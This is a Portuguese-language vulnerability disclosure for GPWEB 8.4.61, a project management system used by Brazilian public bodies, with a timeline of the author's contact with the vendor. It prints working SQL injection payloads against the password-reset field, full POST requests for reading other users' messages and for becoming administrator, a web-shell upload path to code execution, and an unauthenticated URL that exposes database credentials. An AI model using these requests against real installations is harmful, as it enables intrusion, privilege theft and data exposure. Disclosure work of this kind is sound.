Em outubro deste ano (2017), resolvi iniciar um projeto na área de pesquisa em segurança da informação. Selecionei vários softwares hospedados no repositório https://softwarepublico.gov.br, a fim de dar minha contribuição à comunidade encontrando possíveis falhas de segurança nos projetos disponibilizados publicamente. O primeiro deles, foco desta publicação, é o GPWEB 8.4.61, sendo esta a última versão disponível desde outubro de 2016. CVEs relacionados a estas descobertas: CVE-2017-15875, CVE-2017-15876 e CVE-2017-15877 .

Segue abaixo o propósito do software segundo o fabricante:

O software gpweb entrega gestão estratégica e gerenciamento de projetos orientados a processos de padrão mundial, adaptados às necessidades da sua organização. Projetado para gerenciar o planejamento estratégico e todo o ciclo de vida de seus projetos, o gpweb fornece soluções construídas sobre poderosa capacidade de colaboração e de fluxos de trabalho.

De acordo com o próprio fabricante, o GPWEB é usado por diversas empresas privadas e órgão do governo como Força aérea Brasileira, Exército Brasileiro, Tribunais de Justiça, Tribunais Regionais Eleitorais, CREAs, Universidades e Ministérios Públicos.

Sendo a versão 8.4.61, a última disponível para o público, várias instituições estão em risco, pois as falhas encontradas nesta versão possivelmente também estão presentes em versões anteriores. (Não confirmado)

Ainda em outubro/17, logo após as descobertas, o fabricante foi comunicado a respeito delas, o qual se prontificou em analisar cada falha encontrada. Segundo ele, uma nova versão irá ao ar em Janeiro/18, corrigindo as falhas apontadas.

Abaixo, segue relatório descrevendo as falhas encontradas e também o histórico de ações desde a descoberta das falhas:

 

Detalhes sobre o produto / serviço

Fabricante: Sistema GP-Web Ltda.

Site: http://www.sistemagpweb.com.br

Produto: GPWEB – Grandes Planos | Disponível em: https://softwarepublico.gov.br/social/gpweb

Versões afetadas: 8.4.61 (Possivelmente todas as versões anteriores também possuem as mesmas falhas)

Impactos

GPWEB 8.4.61 SQL Injection CVE-2017-15875

GPWEB 8.4.61 Manipulação Privilégios

GPWEB 8.4.61 Uploads Sem Restrição CVE-2017-15876

GPWEB 8.4.61 Exposição Informação Sensível CVE-2017-15877

 

Detalhes das vulnerabilidades

SQL Injection

O campo de recuperação de senhas é vulnerável à SQL Injection.

Para submissão do pedido de reset de senha é usado o método POST. Os seguintes campos são enviados na requisição:

celular=0&perdeu_senha=1&pesquisa_email=1&pesquisa_frase=0&gravar_senha=0&usuario_id=0&[email protected]

O campo checkemail é vulnerável às sequintes técnicas:

Type: boolean-based blind

Title: AND boolean-based blind – WHERE or HAVING clause

Payload: celular=0&perdeu_senha=1&pesquisa_email=1&pesquisa_frase=0&gravar_senha=0&usuario_id=0&[email protected]’ AND 2665=2665 AND ‘MIpz’=’MIpz

Type: error-based

Title: MySQL >= 5.1 AND error-based – WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)

Payload: celular=0&perdeu_senha=1&pesquisa_email=1&pesquisa_frase=0&gravar_senha=0&usuario_id=0&[email protected]’ AND EXTRACTVALUE(3529,CONCAT(0x5c,0x717a6a6271,(SELECT (ELT(3529=3529,1))),0x71626a7171)) AND ‘NoaN’=’NoaN

Type: AND/OR time-based blind

Title: MySQL >= 5.0.12 AND time-based blind

Payload: celular=0&perdeu_senha=1&pesquisa_email=1&pesquisa_frase=0&gravar_senha=0&usuario_id=0&[email protected]’ AND SLEEP(10) AND ‘uUYt’=’uUYt

POC (Proof of Concept)

GPWEB 8.4.61 Database

 

Manipulação de privilégios

As seguintes manipulações de privilégios são possíveis:

  • Usuário com qualquer privilégio, manipulando requisição POST, é capaz de ler mensagens de outro usuário.

Um usuário com qualquer privilégio é capaz de manipular a seguinte requisição POST . Alterando-se o campo usuario_id para o id de outro usuário e alterando o id da mensagem a ser lida (msg_usuario_id).

a=exibe_msg&m=email&status=1&usuario_id=3&destino=&tipo=&mover=&pasta=&sentido=&campo_ordenar=&cia_usuario_enviou=0&cia_usuario_recebeu=0&cia_usuario_criou=0&assunto=&pesquisa_inicio=&pesquisa_fim=&tab=0&msg_usuario_id=1&senha=&modelo_id=&pagina=1&retornar=&cia_id=1&tarefa_id=&projeto_id=&pg_perspectiva_id=&tema_id=&objetivo_id=&fator_id=&pg_estrategia_id=&pg_meta_id=&pratica_id=&pratica_indicador_id=&plano_acao_id=&canvas_id=&risco_id=&risco_resposta_id=&calendario_id=&monitoramento_id=&ata_id=&mswot_id=&swot_id=&operativo_id=&instrumento_id=&recurso_id=&problema_id=&demanda_id=&programa_id=&licao_id=&evento_id=&link_id=&avaliacao_id=&tgn_id=&brainstorm_id=&gut_id=&causa_efeito_id=&arquivo_id=&forum_id=&checklist_id=&agenda_id=&agrupamento_id=&patrocinador_id=&template_id=&painel_id=&painel_odometro_id=&painel_composicao_id=&tr_id=&me_id=&cripto_1=0&caixa_senha=
  • Escalonamento de privilégios

Um usuário com qualquer privilégio é capaz de manipular requisições POST e se tornar administrador do sistema.

Fazendo-se a manipulação da seguinte requisição e alterando-se os dados de forma arbitrária para os seus próprios dados e mantendo-se no final usuario_admin=1 no próximo login deste usuário ele estará como administrador do sistema.

m=admin&a=vazio&u=&contato_posto_valor=19&usuario_id=2&contato_id=2&fazerSQL=fazer_usuario_aed&tam_min_login=2%29&tam_min_senha=2%29&usuarios=&depts=&usuario_grupo_dept=&usuario_chavepublica=&usuario_especial=0&usuario_superior=&usuario_superior=0&usuario_superior=&usuario_assinatura=&existe_login=1&nao_existe_dept=&existe_identidade=&usuario_login=teste&escolha_criar_contato=criar&contato_posto=Sr.&contato_nomeguerra=teste&contato_nomecompleto=teste&contato_cia=1&contato_dept=&dept_nome=%A0&contato_funcao=&contato_email=&contato_email2=&usuario_rodape=&contato_identidade=&contato_cpf=&contato_matricula=&contato_hora_custo=0&usuario_contato=&nome_contato=%A0&usuario_ativo=0&usuario_ativo=1&usuario_admin=0&usuario_admin=1

Uploads sem restrições

Usuários com privilégios de Administrador são capazes de editar informações de Organizações a qual permite upload de arquivos sem restrições.

GPWEB 8.4.61 Shell Upload

Carregando-se um arquivo malicioso, que permite execuções de comando em um servidor, é possível ganhar acesso e executar código remoto.

POC (Proof of Concept)

Após o carregamento de arquivo malicioso no servidor, é possível executar comandos e ganhar acesso ao servidor:

GPWEB 8.4.61 Execução de código

 

Exposição de Informação Sensível

Após a instalação do sistema, caso a pasta /instalacao/ mantenha-se no servidor, ao acessar o seguinte endereço, sem a necessidade de estar autenticado, informações de conexão com o banco de dados são expostas:

http://CAMINHO_GPWEB/instalacao/db.php

 

POC (Proof of Concept)

GPWEB 8.4.61 Acesso a instalacao/db.php

 

Ao inspecionar o campo de senha, ela aparece em texto claro:

GPWEB 8.4.61 Senha em texto claro

 

Histórico de ações

20/10/2017 – Início dos testes e criação do relatório.
22/10/2017 – Feito primeiro contato com fabricante / mantenedor informando o problema.
22/10/2017 – Fabricante confirmou recebimento do e-mail e irá avaliar.
24/10/2017 – Incluídos CVE-IDs para cada vulnerabilidade.
30/11/2017 – Fabricante informado que descobertas iriam a público em dez/17.
12/12/2017 – Publicação das descobertas.

 

Referências

https://softwarepublico.gov.br/social/gpweb

https://softwarepublico.gov.br/social/profile/gpweb/plugin/software_communities/download_file?block_id=2667&download_id=42&title=Baixar+o+software